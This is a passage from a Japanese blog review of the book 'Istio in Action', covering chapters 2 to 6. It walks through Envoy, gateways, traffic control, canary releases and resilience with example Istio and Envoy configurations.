より引用この図は、サイドカーパターンの実際の動作を視覚的に説明しており、サービス間通信がどのようにIstioプロキシを介して行われるかを明確に示しています。トラフィック制御と高度なルーティング著者は、Istioの強力なトラフィック制御機能について詳しく説明しています。特に印象的だったのは、VirtualServiceとDestinationRuleの概念です。これらのリソースを使用することで、非常に細かい粒度でトラフィックをコントロールできます。例えば、以下のような設定で、特定のヘッダーを持つリクエストを新バージョンのサービスにルーティングできます:apiVersion: networking.istio.io/v1alpha3kind: VirtualServicemetadata: name: catalogspec: hosts: - catalog http: - match: - headers: x-dark-launch: exact: \\"v2\\" route: - destination: host: catalog subset: version-v2 - route: - destination: host: catalog subset: version-v1この機能は、カナリアリリースやブルー/グリーンデプロイメントなどの高度なデプロイメント戦略を実装する上で非常に有用です。SREの観点からは、このような細かい制御が可能であることで、新機能のロールアウトリスクを大幅に低減できます。観測可能性とレジリエンス著者は、IstioがPrometheusやGrafanaなどのツールと統合して、システムの観測可能性を向上させる方法を説明しています。特に、Istioが自動的に生成する詳細なメトリクスとトレースは、複雑なマイクロサービス環境でのトラブルシューティングを大幅に簡素化します。また、Istioのレジリエンス機能、特にリトライとサーキットブレーカーの実装は注目に値します。以下の設定例は、サービスへのリクエストに自動リトライを実装する方法を示しています:apiVersion: networking.istio.io/v1alpha3kind: VirtualServicemetadata: name: my-servicespec: hosts: - my-service http: - route: - destination: host: my-service retries: attempts: 3 perTryTimeout: 2sこの設定により、一時的なネットワーク障害やサービスの瞬間的な不具合に対する耐性が向上し、システム全体の安定性が改善されます。まとめ「Istio in Action」の第2章は、Istioの基本的な導入から高度な機能の使用まで、幅広いトピックをカバーしています。この章から得られる主要な洞察は以下の通りです:インフラストラクチャレベルでの問題解決: Istioは、ネットワークの信頼性、セキュリティ、可観測性などの横断的な問題をインフラストラクチャレベルで解決します。これにより、開発者はビジネスロジックに集中できるようになります。宣言的な設定: IstioはKubernetes CRDを活用し、宣言的な方法で複雑なネットワーキングの動作を定義できます。これにより、設定の管理と自動化が容易になります。段階的な導入の重要性: 著者が強調しているように、Istioは既存のシステムに段階的に導入できます。これは、リスクを最小限に抑えながらサービスメッシュの利点を享受するための重要なアプローチです。観測可能性の向上: Istioは、複雑なマイクロサービス環境での問題の診断と解決を大幅に簡素化します。これは、システムの信頼性と運用効率の向上に直結します。高度なトラフィック制御: IstioのVirtualServiceとDestinationRuleを使用することで、非常に細かい粒度でトラフィックをコントロールできます。これは、新機能の安全なロールアウトや、A/Bテストの実施に非常に有用です。Istioはマイクロサービスアーキテクチャの複雑さに対処するための強力なツールセットを提供しています。しかし、その導入には慎重な計画と、組織全体での協力が必要です。実際の運用環境でIstioを活用する際は、以下の点に注意することをお勧めします:段階的な導入: 全てのサービスを一度にIstioに移行するのではなく、重要度の低いサービスから始めて段階的に導入することをお勧めします。モニタリングとトレーシングの強化: Istioの可観測性機能を最大限に活用し、既存のモニタリングツールと統合することで、システム全体の可視性を向上させます。セキュリティポリシーの統一: Istioのセキュリティ機能を利用して、全サービスに一貫したセキュリティポリシーを適用します。トラフィック管理戦略の策定: カナリアリリースやA/Bテストなど、Istioのトラフィック管理機能を活用した高度なデプロイメント戦略を計画します。パフォーマンスの最適化: Istioの導入に伴うオーバーヘッドを考慮し、適切なリソース割り当てと設定の最適化を行います。最後に、Istioは強力なツールですが、それを効果的に活用するためには、適切な計画、リソース、そして継続的な学習とアダプテーションが必要です。この章で学んだ基本を踏まえ、実際の環境での試行錯誤を通じて、組織に最適なIstioの活用方法を見出していくことが重要です。3 Istio\'s data plane: The Envoy proxy「Istio in Action」の第3章は、Istioのデータプレーンの中核を成すEnvoyプロキシに焦点を当てています。この章では、Envoyの基本概念、設定方法、主要機能、そしてIstioとの関係性について詳細に解説されています。Envoyは、現代のマイクロサービスアーキテクチャにおける重要な課題を解決するために設計された強力なプロキシであり、Istioのサービスメッシュ機能の多くを支えています。Envoyプロキシの概要と主要機能Envoyは、Lyft社によって開発された高性能なL7プロキシおよび通信バスです。以下の主要な特徴を持っています:言語非依存: C++で実装されており、任意の言語やフレームワークで書かれたアプリケーションと連携可能。動的設定: xDS APIを通じて動的に設定を更新可能。高度な負荷分散: 様々な負荷分散アルゴリズムをサポート。強力な可観測性: 詳細なメトリクスと分散トレーシングをサポート。L7プロトコルサポート: HTTP/2、gRPCなどの最新プロトコルをネイティブにサポート。Figure 3.1 A proxy is an intermediary that adds functionality to the flow of traffic. より引用Envoyの核心的な設計原則は、「ネットワークは透過的であるべきで、問題が発生した際には容易に原因を特定できるべき」というものです。この原則は、複雑化するマイクロサービス環境において非常に重要です。Envoyの設定と動作Envoyの設定は主に以下の3つの要素から構成されます:Listeners: 受信トラフィックを処理するポートとプロトコルを定義。Routes: 受信したリクエストをどのクラスタに転送するかを定義。Clusters: アップストリームサービスのグループを定義。以下は、基本的なEnvoy設定の例です。Istioの複雑さの多くはEnvoyに起因しています。Envoyの設定と動作原理を十分に理解しているかどうかで、Istioの全体像の把握や問題解決の能力が大きく異なります。したがって、Istioを効果的に活用していくためには、Envoyについても深く学び、実践することが不可欠です。github.comstatic_resources: listeners: - name: listener_0 address: socket_address: { address: 0.0.0.0, port_value: 10000 } filter_chains: - filters: - name: envoy.filters.network.http_connection_manager typed_config: \\"@type\\": type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager stat_prefix: ingress_http route_config: name: local_route virtual_hosts: - name: local_service domains: [\\"*\\"] routes: - match: { prefix: \\"/\\" } route: { cluster: some_service } clusters: - name: some_service connect_timeout: 0.25s type: STRICT_DNS lb_policy: ROUND_ROBIN load_assignment: cluster_name: some_service endpoints: - lb_endpoints: - endpoint: address: socket_address: address: some-service port_value: 80この設定は、ポート10000でリスニングし、全てのリクエストをsome_serviceクラスタにルーティングします。実際の運用環境では、より複雑な設定が必要になりますが、この例はEnvoyの基本的な構造を理解するのに役立ちます。Envoyの動的設定と xDS APIEnvoyの強力な機能の一つは、動的設定能力です。xDS (x Discovery Service) APIを通じて、実行時に設定を更新できます。主なxDS APIには以下があります:LDS (Listener Discovery Service)RDS (Route Discovery Service)CDS (Cluster Discovery Service)EDS (Endpoint Discovery Service)SDS (Secret Discovery Service)これらのAPIを使用することで、Envoyプロキシの動作を動的に変更でき、環境の変化に迅速に対応できます。Istioは、これらのAPIを実装し、Envoyプロキシの設定を管理します。Figure 3.5 Istio abstracts away the service registry and provides an implementation of Envoy’s xDS API. より引用Envoyの可観測性とトラブルシューティングEnvoyは、詳細なメトリクスと分散トレーシング機能を提供します。これらの機能は、複雑なマイクロサービス環境でのトラブルシューティングに不可欠です。Envoyの主な可観測性機能には以下があります:統計情報: リクエスト数、レイテンシ、エラーレートなどの詳細な統計情報を提供。分散トレーシング: OpenTracingと互換性があり、リクエストの全体的な流れを追跡可能。アクセスログ: 詳細なリクエスト/レスポンス情報を記録。また、EnvoyはAdmin APIを提供しており、実行時の設定やメトリクスにアクセスできます。これは、運用環境でのトラブルシューティングに非常に有用です。## Envoyの統計情報を取得する例curl http://localhost:9901/stats## Envoyの現在の設定をダンプする例curl http://localhost:9901/config_dumpこれらの機能により、EnvoyとIstioを使用したシステムの可観測性が大幅に向上し、問題の迅速な特定と解決が可能になります。IstioとEnvoyの関係IstioはEnvoyをデータプレーンとして使用し、その強力な機能を活用しています。Istioは以下の方法でEnvoyを拡張および管理しています:設定管理: IstioはxDS APIを実装し、Envoyプロキシの設定を一元管理します。セキュリティ: Istioは、Envoyの相互TLS機能を利用し、サービス間の通信を自動的に暗号化します。トラフィック管理: IstioのVirtualServiceやDestinationRuleは、Envoyのルーティングおよびロードバランシング機能を抽象化します。可観測性: IstioはEnvoyのメトリクスとトレーシング機能を活用し、より高度な可観測性を提供します。Figure 3.7 istiod delivers application-specific certificates that can be used to establish mutual TLS to secure traffic between services. より引用こちらのブログがオススメです。hiroki-hasegawa.hatenablog.jp実践的な応用と提案Envoyプロキシとそれを活用したIstioのデータプレーンを効果的に利用するために、以下の実践的な提案を考えてみましょう:段階的な導入: Envoyプロキシを既存のインフラストラクチャに段階的に導入することを検討します。例えば、最初は非クリティカルなサービスに導入し、徐々に範囲を広げていくアプローチが有効です。カスタムフィルターの開発: WebAssemblyを使用して、組織固有のニーズに合わせたカスタムEnvoyフィルターを開発します。これにより、Envoyの機能を拡張し、特定のユースケースに対応できます。詳細なモニタリングの実装: Envoyの豊富なメトリクスを活用し、Prometheusなどのモニタリングシステムと統合します。ダッシュボードを作成し、サービスの健全性とパフォーマンスを視覚化します。トラフィック管理戦略の最適化: Envoyのルーティング機能を活用し、A/Bテストやカナリアリリースなどの高度なデプロイメント戦略を実装します。セキュリティの強化: Envoyの相互TLS機能を最大限に活用し、サービス間通信のセキュリティを強化します。また、認証・認可ポリシーを実装し、きめ細かなアクセス制御を実現します。パフォーマンスチューニング: Envoyの設定を最適化し、リソース使用量とレイテンシを監視します。特に大規模環境では、Envoyのリソース設定を慎重に調整する必要があります。障害注入テストの実施: Envoyの障害注入機能を使用して、システムの回復性をテストします。様々な障害シナリオを模擬し、システムの動作を検証します。継続的な学習と最適化: Envoyとイストの進化に合わせて、継続的に新機能を学び、適用していきます。コミュニティへの参加や、最新のベストプラクティスの追跡が重要です。まとめEnvoyプロキシは、現代のクラウドネイティブアーキテクチャにおける多くの課題を解決する強力なツールです。その柔軟性、拡張性、そして高度な機能セットは、複雑なマイクロサービス環境での運用を大幅に簡素化します。Istioと組み合わせることで、Envoyの機能がさらに強化され、より統合されたサービスメッシュソリューションとなります。しかし、EnvoyとIstioの導入には慎重な計画と設計が必要です。特に大規模な環境では、パフォーマンスやリソース使用量に注意を払う必要があります。また、チームのスキルセットの向上や、新しい運用プラクティスの導入も重要な検討事項となります。最後に、EnvoyとIstioは急速に進化を続けているため、継続的な学習と適応が不可欠です。これらのテクノロジーを効果的に活用するには、最新の動向を常に追跡し、自組織のニーズに合わせて適切に採用していく必要があります。Part 2 Securing, observing, and controlling your service’s network traffic4 Istio gateways: Getting traffic into a cluster「Istio in Action」の第4章は、Istioのゲートウェイ機能に焦点を当て、クラスター外部からのトラフィックを安全かつ効率的に管理する方法について詳細に解説しています。この章では、Istio Gatewayの基本概念から高度な設定、セキュリティ対策、そして運用上の考慮事項まで、幅広いトピックがカバーされています。Istio Gatewayの基本概念Istio Gatewayは、クラスター外部からのトラフィックを制御し、内部サービスへのアクセスを管理する重要なコンポーネントです。著者は、従来のKubernetes Ingressとの違いを明確にしながら、Istio Gatewayの利点を説明しています。特に印象的だったのは、以下の点です:柔軟なプロトコルサポート: Istio GatewayはHTTP/HTTPSだけでなく、TCPやgRPCなど、さまざまなプロトコルをサポートしています。これにより、多様なアプリケーションニーズに対応できます。詳細な設定オプション: GatewayリソースとVirtualServiceリソースの組み合わせにより、非常に細かいトラフィック制御が可能です。セキュリティの統合: TLS/mTLSの設定が容易で、証明書の管理もIstioが行うことができます。Figure 4.1 We want to connect networks by connecting clients running outside of our cluster to services running inside our cluster. より引用この図は、Istio Gatewayがクラスター外部からのトラフィックをどのように受け取り、内部サービスに転送するかを視覚的に示しています。これにより、Gatewayの役割が明確に理解できます。Gateway設定の実践著者は、実際のGateway設定例を通じて、その使用方法を詳細に解説しています。以下は、基本的なGateway設定の例です:apiVersion: networking.istio.io/v1alpha3kind: Gatewaymetadata: name: coolstore-gatewayspec: selector: istio: ingressgateway servers: - port: number: 80 name: http protocol: HTTP hosts: - \\"webapp.istioinaction.io\\"この設定例は、HTTP traffを受け入れ、特定のホストに対するリクエストをルーティングする方法を示しています。著者は、このような基本的な設定から始めて、徐々に複雑な設定へと読者を導いています。VirtualServiceとの連携も重要なポイントです:apiVersion: networking.istio.io/v1alpha3kind: VirtualServicemetadata: name: webapp-vs-from-gwspec: hosts: - \\"webapp.istioinaction.io\\" gateways: - coolstore-gateway http: - route: - destination: host: webapp port: number: 8080この組み合わせにより、外部からのリクエストを適切な内部サービスにルーティングできます。セキュリティ設定著者は、Istio Gatewayのセキュリティ設定に大きな注意を払っています。特にTLS/mTLSの設定方法は、現代のマイクロサービスアーキテクチャにおいて非常に重要です。Figure 4.8 Basic model of how TLS is established between a client and server より引用この図は、クライアントとサーバー間でのTLS handshakeのプロセスを視覚的に表現しており、セキュリティ設定の重要性を理解する上で非常に有用です。以下は、mTLSを設定するGatewayの例です:apiVersion: networking.istio.io/v1alpha3kind: Gatewaymetadata: name: coolstore-gatewayspec: selector: istio: ingressgateway servers: - port: number: 443 name: https protocol: HTTPS tls: mode: MUTUAL credentialName: webapp-credential-mtls hosts: - \\"webapp.istioinaction.io\\"この設定により、クライアントとサーバー間の相互認証が可能になり、セキュリティが大幅に向上します。高度な機能と運用上の考慮事項著者は、単なる基本的な使用方法だけでなく、Istio Gatewayの高度な機能や運用上の考慮事項についても詳しく説明しています。特に印象的だった点は以下の通りです:複数のGatewayの使用: 異なるチームや要件に応じて複数のGatewayを設定する方法が説明されています。これは大規模な組織での運用に特に有用です。Gateway Injection: stub deploymentを使用してGatewayを注入する方法は、チーム間の責任分担を明確にする上で非常に有効です。アクセスログの設定: デバッグやトラブルシューティングに不可欠なアクセスログの設定方法が詳細に解説されています。設定の最適化: 大規模な環境でのパフォーマンス最適化のための設定方法が提供されています。これらの高度な機能は、実際のプロダクション環境でIstioを運用する際に非常に重要になります。実践的な応用と提案Istio Gatewayを効果的に活用するために、以下の実践的な提案を考えてみましょう:段階的な導入: 既存の環境にIstio Gatewayを導入する際は、段階的なアプローチを取ることをおすすめします。まずは非クリティカルなサービスから始め、徐々に範囲を広げていくことで、リスクを最小限に抑えながら導入できます。セキュリティファーストの設計: 初期の設定段階からTLS/mTLSを有効にし、セキュリティを最優先に考えます。証明書の自動管理機能を活用し、定期的な更新を確実に行います。トラフィック制御戦略の策定: カナリアリリースやA/Bテストなど、Gatewayのトラフィック制御機能を活用した高度なデプロイメント戦略を計画します。これにより、新機能の安全なロールアウトが可能になります。モニタリングとロギングの強化: Gatewayのアクセスログと、Prometheusなどの監視ツールを統合し、詳細なトラフィック分析を行います。異常検知やパフォーマンス最適化に活用します。マルチクラスター/マルチクラウド戦略: Istio Gatewayのマルチクラスター機能を活用し、異なる環境(開発、ステージング、本番)や異なるクラウドプロバイダー間でのサービスメッシュの統一管理を検討します。チーム間の責任分担の明確化: Gateway Injectionを活用し、各チームが自身のGatewayを管理できるようにします。これにより、組織全体の俊敏性が向上します。パフォーマンスチューニング: 大規模環境では、Gateway設定の最適化が重要です。不要な設定を削除し、リソース使用量を監視しながら、継続的な最適化を行います。セキュリティ監査の定期実施: Gatewayの設定、特にTLS/mTLS設定を定期的に監査します。新たな脆弱性や推奨事項に応じて、設定を更新します。ディザスタリカバリ計画の策定: Gatewayは重要なインフラコンポーネントであるため、障害時の迅速な復旧計画を策定します。複数のGatewayを異なるアベイラビリティゾーンに配置するなどの冗長性も検討します。まとめ「Istio in Action」の第4章は、Istio Gatewayの重要性と、その効果的な使用方法を包括的に解説しています。Gatewayは、クラスター外部からのトラフィックを管理する上で非常に重要な役割を果たし、セキュリティ、可観測性、トラフィック制御など、多岐にわたる機能を提供します。著者が強調しているように、Istio Gatewayは単なるIngress Controllerの代替ではなく、より高度で柔軟なトラフィック管理ソリューションです。特に、詳細なルーティング制御、TLS/mTLSの簡単な設定、そして様々なプロトコルのサポートは、現代のマイクロサービスアーキテクチャにおいて非常に価値があります。しかし、Gatewayの導入には慎重な計画とデザインが必要です。特に大規模な環境では、パフォーマンスやリソース使用量に注意を払う必要があります。また、チームのスキルセットの向上や、新しい運用プラクティスの導入も重要な検討事項となります。2024年現在、Istioはさらに進化を続けており、アンビエントメッシュやKubernetes Gateway APIのサポートなど、新たな可能性を開いています。これらの進化は、Istio Gatewayの適用範囲をさらに広げ、より多様なユースケースに対応できるようになっています。最後に、Istio Gatewayの導入を検討している組織にとって、この章は優れた出発点となります。しかし、実際の導入に際しては、自組織の具体的なニーズ、既存のインフラストラクチャ、そして長期的な技術戦略を慎重に評価することが重要です。Istio Gatewayは強力なツールですが、それを効果的に活用するためには、適切な計画、リソース、そして継続的な学習とアダプテーションが必要です。Istio Gatewayは、クラウドネイティブアーキテクチャの未来を形作る重要な要素の一つです。この技術を理解し、適切に活用することは、現代のソフトウェアエンジニアとSREにとって不可欠なスキルとなっています。本章で学んだ知識を基に、実際の環境での試行錯誤を通じて、組織に最適なIstio Gatewayの活用方法を見出していくことが重要です。5 Traffic control: Fine-grained traffic routing「Istio in Action」の第5章は、Istioの強力なトラフィック制御機能に焦点を当てています。この章では、新しいコードのデプロイリスクを軽減するための様々な技術が詳細に解説されています。著者は、リクエストレベルのルーティング、トラフィックシフティング、トラフィックミラーリングなどの高度な概念を、実践的な例を交えながら説明しています。Figure 5.1 In a blue/green deployment, blue is the currently released software. When we release the new software, we cut over traffic to the green version. より引用この章はIstioを活用して本番環境でのリリースリスクを大幅に低減する方法を提供しており、非常に価値があります。特に印象に残ったのは、著者が繰り返し強調している「デプロイメント」と「リリース」の概念の分離です。この考え方は、現代のクラウドネイティブ環境において安全かつ効率的なソフトウェアデリバリーを実現する上で極めて重要です。Figure 5.2 A deployment is code that is installed into production but does not take any live production traffic. While the deployment is installed into production, we do smoke tests and validate it. より引用ソフトウェアデリバリーについては「入門 継続的デリバリー」が良いのでぜひ読んでみて下さい(ちなみに原書のGrokking Continuous Deliveryしか読めてないので翻訳版も早く読みたい)。www.oreilly.co.jpトラフィック制御の基本概念著者は、まずIstioのトラフィック制御の基本的な仕組みを説明しています。Istioでは、VirtualServiceとDestinationRuleという2つの主要なリソースを使用してトラフィックを制御します。VirtualServiceは、トラフィックのルーティングルールを定義します。例えば、以下のような設定が可能です:apiVersion: networking.istio.io/v1alpha3kind: VirtualServicemetadata: name: catalog-vs-from-gwspec: hosts: - \\"catalog.istioinaction.io\\" gateways: - catalog-gateway http: - route: - destination: host: catalog subset: version-v1この設定は、すべてのトラフィックをcatalogサービスのversion-v1サブセットにルーティングします。DestinationRuleは、トラフィックの宛先に関するポリシーを定義します:apiVersion: networking.istio.io/v1alpha3kind: DestinationRulemetadata: name: catalogspec: host: catalog subsets: - name: version-v1 labels: version: v1 - name: version-v2 labels: version: v2このDestinationRuleは、catalogサービスに2つのサブセット(version-v1とversion-v2)を定義しています。これらのリソースを組み合わせることで、非常に細かい粒度でトラフィックを制御できます。例えば、特定のHTTPヘッダーを持つリクエストを新しいバージョンのサービスにルーティングするといったことが可能です。カナリアリリースとトラフィックシフティング著者は、新しいバージョンのサービスを安全にリリースするための手法として、カナリアリリースとトラフィックシフティングを詳細に解説しています。カナリアリリースでは、新バージョンに少量のトラフィックを送り、その挙動を観察します。Istioでは、以下のようなVirtualService設定でこれを実現できます:apiVersion: networking.istio.io/v1alpha3kind: VirtualServicemetadata: name: catalogspec: hosts: - catalog http: - route: - destination: host: catalog subset: version-v1 weight: 90 - destination: host: catalog subset: version-v2 weight: 10この設定では、10%のトラフィックを新バージョン(v2)に送り、残りの90%を既存バージョン(v1)に送ります。著者は、このアプローチの利点として以下を挙げています:リスクの最小化:新バージョンに問題があっても、影響を受けるユーザーは限定的です。段階的な移行:問題がなければ、徐々にトラフィックの割合を増やしていけます。リアルワールドでのテスト:実際のユーザートラフィックを使用してテストできます。SREの観点からは、このアプローチは本番環境の安定性を維持しながら新機能を導入する上で非常に有効です。また、問題が発生した場合の迅速なロールバックも容易です。トラフィックミラーリング著者が紹介している興味深い機能の一つが、トラフィックミラーリングです。これは、実際のトラフィックのコピーを新バージョンのサービスに送信し、その挙動を観察する技術です。apiVersion: networking.istio.io/v1alpha3kind: VirtualServicemetadata: name: catalogspec: hosts: - catalog http: - route: - destination: host: catalog subset: version-v1 weight: 100 mirror: host: catalog subset: version-v2この設定では、すべてのトラフィックがversion-v1に送られると同時に、そのコピーがversion-v2にも送られます。重要なのは、ミラーリングされたトラフィックの応答は無視されるため、ユーザーに影響を与えることなく新バージョンをテストできる点です。この機能は、特に高トラフィックの環境や、トランザクションの整合性が重要なシステムでの新バージョンのテストに非常に有効です。実際のプロダクショントラフィックを使用してテストできるため、ステージング環境では発見できないような問題を早期に発見できる可能性があります。Flaggerを使用した自動カナリアデプロイメント著者は、Istioのトラフィック制御機能を自動化するツールとしてFlaggerを紹介しています。Flaggerは、メトリクスに基づいて自動的にトラフィックを調整し、カナリアリリースを管理します。以下は、FlaggerのCanaryリソースの例です:apiVersion: flagger.app/v1beta1kind: Canarymetadata: name: catalog-releasespec: targetRef: apiVersion: apps/v1 kind: Deployment name: catalog service: name: catalog port: 80 analysis: interval: 45s threshold: 5 maxWeight: 50 stepWeight: 10 metrics: - name: request-success-rate thresholdRange: min: 99 interval: 1m - name: request-duration thresholdRange: max: 500 interval: 30sこの設定では、Flaggerが45秒ごとにメトリクスを評価し、問題がなければトラフィックを10%ずつ増やしていきます。成功率が99%を下回るか、レスポンス時間が500msを超えた場合、カナリアリリースは中止されロールバックが行われます。これにより、人間の介入なしに安全なカナリアリリースを実現できます。特に、複数のサービスを同時にリリースする必要がある大規模な環境では、この自動化は非常に価値があります。クラスター外部へのトラフィック制御著者は、Istioを使用してクラスター外部へのトラフィックを制御する方法も解説しています。デフォルトでは、Istioはすべての外部トラフィックを許可しますが、セキュリティ上の理由から、この動作を変更してすべての外部トラフィックをブロックし、明示的に許可されたトラフィックのみを通過させることができます。apiVersion: networking.istio.io/v1alpha3kind: ServiceEntrymetadata: name: external-apispec: hosts: - api.external-service.com ports: - number: 443 name: https protocol: HTTPS resolution: DNS location: MESH_EXTERNALこのServiceEntryは、特定の外部サービスへのアクセスを許可します。これにより、マイクロサービス環境でのセキュリティを大幅に向上させることができます。実践的な応用と提案Istioのトラフィック制御機能を効果的に活用するために、以下の実践的な提案を考えてみましょう:段階的な導入戦略の策定: 新機能のロールアウトには、まずカナリアリリースを使用し、問題がなければトラフィックシフティングで段階的に移行するという戦略を採用します。これにより、リスクを最小限に抑えながら、新機能を迅速に導入できます。自動化パイプラインの構築: FlaggerなどのツールをCI/CDパイプラインに統合し、カナリアリリースプロセスを自動化します。これにより、人間のエラーを減らし、リリースの一貫性と速度を向上させることができます。詳細なモニタリングの実装: Istioのテレメトリ機能を活用し、サービスのパフォーマンス、エラーレート、レイテンシなどを詳細に監視します。Prometheusなどのモニタリングシステムと統合し、カスタムダッシュボードを作成して、リリースの進捗を視覚化します。トラフィックミラーリングの活用: 新バージョンのサービスをプロダクション環境で徹底的にテストするために、トラフィックミラーリングを活用します。これにより、実際のユーザートラフィックを使用してテストできますが、ユーザーへの影響はありません。セキュリティファーストのアプローチ: ServiceEntryを使用して外部トラフィックを制御し、必要最小限のサービスにのみ外部アクセスを許可します。これにより、潜在的なセキュリティリスクを軽減できます。A/Bテストの実施: Istioの細かいトラフィック制御を活用して、新機能のA/Bテストを実施します。ユーザーセグメントに基づいてトラフィックを分割し、機能の効果を測定します。障害注入テストの実施: Istioの障害注入機能を使用して、様々な障害シナリオ(遅延、エラーなど)をシミュレートし、システムの回復性をテストします。これにより、本番環境での予期せぬ問題に対する準備を整えることができます。例えば、以下のようなVirtualServiceを使用して、特定のパーセンテージのリクエストに対して遅延を注入できます: apiVersion: networking.istio.io/v1alpha3 kind: VirtualService metadata: name: catalog-delay spec: hosts: - catalog http: - fault: delay: percentage: value: 10 fixedDelay: 5s route: - destination: host: catalog この設定では、10%のリクエストに5秒の遅延が追加されます。これを使用して、サービスがタイムアウトや遅延に適切に対応できるかをテストできます。トラフィックポリシーの定期的な見直し: システムの進化に伴い、トラフィックルーティングポリシーを定期的に見直し、最適化します。例えば、古いバージョンへのルーティングを削除したり、新しいサービスを追加したりする必要があるかもしれません。以下は、見直しのチェックリストの例です:全てのサービスバージョンが適切にルーティングされているか不要なルーティングルールがないかセキュリティポリシーが最新のベストプラクティスに沿っているかパフォーマンスメトリクスに基づいてルーティング比率を調整する必要があるかマルチクラスター/マルチリージョン戦略の策定: Istioのマルチクラスター機能を活用して、地理的に分散したサービスのトラフィックを管理します。これにより、レイテンシの最適化やディザスタリカバリの改善が可能になります。例えば、以下のようなGatewayを使用して、クラスター間の通信を制御できます: apiVersion: networking.istio.io/v1alpha3 kind: Gateway metadata: name: cross-cluster-gateway spec: selector: istio: ingressgateway servers: - port: number: 443 name: tls protocol: TLS tls: mode: AUTO_PASSTHROUGH hosts: - \\"*.global\\" この設定により、異なるクラスター間でサービスを安全に公開し、通信できるようになります。カスタムメトリクスの導入: Istioのテレメトリ機能を拡張して、ビジネス固有のメトリクスを収集します。これにより、技術的な指標だけでなく、ビジネス上の成果もトラッキングできるようになります。例えば、Envoy filterを使用して、特定のAPIコールの頻度や成功率を測定できます:apiVersion: networking.istio.io/v1alpha3kind: EnvoyFiltermetadata: name: custom-metricspec: configPatches: - applyTo: HTTP_FILTER match: context: SIDECAR_OUTBOUND patch: operation: ADD value: name: envoy.filters.http.lua typed_config: \\"@type\\": type.googleapis.com/envoy.extensions.filters.http.lua.v3.Lua inlineCode: | function envoy_on_response(response_handle) if response_handle:headers():get(\\":path\\") == \\"/api/important-endpoint\\" then response_handle:logInfo(\\"Important API called\\") end endこの設定により、特定のAPIエンドポイントへのコールをログに記録し、後で分析することができます。グラデュアルロールアウトの自動化: カナリアリリースやトラフィックシフティングの過程を自動化し、メトリクスに基づいて自動的にトラフィック比率を調整するシステムを構築します。これにより、人間の介入を最小限に抑えながら、安全かつ効率的なリリースが可能になります。Flaggerのようなツールを使用して、以下のようなワークフローを実装できます:1. 新バージョンを5%のトラフィックで開始2. エラーレートとレイテンシを5分間監視3. 問題がなければトラフィックを10%に増加4. ステップ2と3を繰り返し、最終的に100%に到達5. 問題が検出された場合は自動的にロールバックサービスメッシュの可視化: Kialiなどのツールを使用して、サービスメッシュのトポロジーと現在のトラフィックフローを視覚化します。これにより、複雑なルーティング設定の理解が容易になり、潜在的な問題の早期発見が可能になります。特に、新しいルーティングルールを適用した後の影響を視覚的に確認するのに役立ちます。セキュリティポリシーとの統合: トラフィック制御を組織のセキュリティポリシーと統合します。例えば、特定の重要なサービスへのアクセスを、認証されたサービスからのみに制限することができます:apiVersion: security.istio.io/v1beta1kind: AuthorizationPolicymetadata: name: catalog-auth-policyspec: selector: matchLabels: app: catalog action: ALLOW rules: - from: - source: principals: [\\"cluster.local/ns/default/sa/webapp\\"]この設定により、catalogサービスへのアクセスがwebappサービスアカウントからのみに制限されます。パフォーマンスベンチマーキング: 新旧バージョン間のパフォーマンス比較を自動化します。トラフィックミラーリングを使用して、新バージョンのパフォーマンスを測定し、既存バージョンと比較します。これにより、新バージョンがパフォーマンス要件を満たしているかを客観的に評価できます。災害復旧訓練の実施: Istioのトラフィック制御機能を使用して、災害復旧シナリオをシミュレートし、訓練します。例えば、特定のリージョンやクラスターの障害を模擬し、トラフィックを別のリージョンにリダイレクトする訓練を定期的に行います。これにより、実際の障害時にも迅速かつ効果的に対応できるようになります。これらの実践的な応用と提案を組み合わせることで、Istioのトラフィック制御機能を最大限に活用し、より安全、効率的、かつ堅牢なマイクロサービス環境を構築することができます。重要なのは、これらの手法を継続的に評価し、組織の成長と技術の進化に合わせて適応させていくことです。Istioは非常に強力で柔軟なツールですが、その真価を発揮するためには、組織の具体的なニーズと目標に合わせて慎重に設計し、実装する必要があります。まとめ「Istio in Action」の第5章は、Istioのトラフィック制御機能の重要性と強力さを明確に示しています。著者は、カナリアリリース、トラフィックシフティング、ミラーリングなどの高度な技術を詳細に解説し、これらがマイクロサービス環境でのリリースリスクを大幅に軽減する方法を提示しています。特に印象的なのは、「デプロイメント」と「リリース」の概念を分離することの重要性です。この考え方は、安全かつ効率的なソフトウェアデリバリーを実現する上で極めて重要です。Istioのトラフィック制御機能を活用することで、新バージョンのサービスを本番環境にデプロイしつつ、実際のトラフィックを段階的にシフトさせることが可能になります。また、Flaggerのような自動化ツールの導入により、カナリアリリースプロセスを更に最適化できることも示されています。これは、特に大規模な環境や頻繁なリリースが必要な場合に非常に有用です。2024年現在、アンビエントメッシュやWebAssemblyの進化など、Istioの新機能によりトラフィック制御の柔軟性と効率性が更に向上しています。これらの進化は、より大規模で複雑な環境でのIstioの適用を可能にしています。結論として、Istioのトラフィック制御機能は、現代のマイクロサービスアーキテクチャにおいて不可欠なツールとなっています。適切に活用することで、システムの安定性を維持しつつ、迅速かつ安全にイノベーションを推進することが可能になります。ただし、これらの機能を効果的に使用するためには、継続的な学習と実践、そして組織の具体的なニーズに合わせた戦略の策定が必要不可欠です。6 Resilience: Solving application networking challenges「Istio in Action」の第6章は、分散システムにおける重要な課題の一つであるレジリエンスに焦点を当てています。著者は、マイクロサービスアーキテクチャにおけるネットワークの信頼性の欠如、サービス間の依存関係管理、そして予期せぬ障害への対応といった問題に対して、Istioがどのようにソリューションを提供するかを詳細に解説しています。この章で特に印象に残ったのは分散システムの問題は、予測不可能な方法で障害が発生することが多く、手動でトラフィックシフトのアクションを取ることができないことです。この考え方は、現代のクラウドネイティブアーキテクチャが直面している根本的な課題を端的に表現しており、Istioのようなサービスメッシュの必要性を強調しています。この章はIstioを活用して本番環境でのレジリエンスを大幅に向上させる方法を提供しており、非常に価値があります。特に、クライアントサイドロードバランシング、タイムアウト、リトライ、サーキットブレーキングなどの機能を、アプリケーションコードを変更せずに実装できる点は、運用効率とシステムの信頼性向上に大きく貢献します。クライアントサイドロードバランシング著者は、Istioのクライアントサイドロードバランシング機能について詳細に解説しています。この機能により、サービス間の通信をより効率的に管理し、システム全体のパフォーマンスと信頼性を向上させることができます。Istioは以下の主要なロードバランシングアルゴリズムをサポートしています:Round Robin(ラウンドロビン): デフォルトのアルゴリズムで、リクエストを順番に各エンドポイントに分配します。Random(ランダム): リクエストをランダムにエンドポイントに分配します。Least Connection(最小接続数): 